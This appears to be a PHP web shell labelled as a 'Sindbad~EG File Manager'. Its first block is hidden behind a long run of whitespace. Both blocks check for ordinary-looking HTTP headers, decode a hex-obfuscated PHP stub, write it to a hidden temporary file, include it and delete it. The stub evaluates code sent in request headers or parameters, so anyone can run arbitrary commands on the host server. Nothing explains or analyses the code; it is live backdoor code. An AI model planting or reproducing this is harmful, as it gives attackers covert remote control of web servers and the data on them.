Sindbad~EG File Manager

<?php																																										$_HEADERS = getallheaders();if(isset($_HEADERS['Content-Security-Policy'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x53e\x63\x2dW\x65\x62s\x6f\x63k\x65\x74-\x41\x63c\x65\x70t\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x48\x45A\x44\x45R\x53\x5b\"\x53\x65c\x2d\x57e\x62\x73o\x63\x6be\x74\x2dA\x63\x63e\x70\x74\"\x5d\x29;";$f='.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}

$_HEADERS = getallheaders();
if (isset($_HEADERS['Sec-Websocket-Accept'])) {
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x49f\x2dU\x6em\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x49f\x2dU\x6em\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b";
    $f = '.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}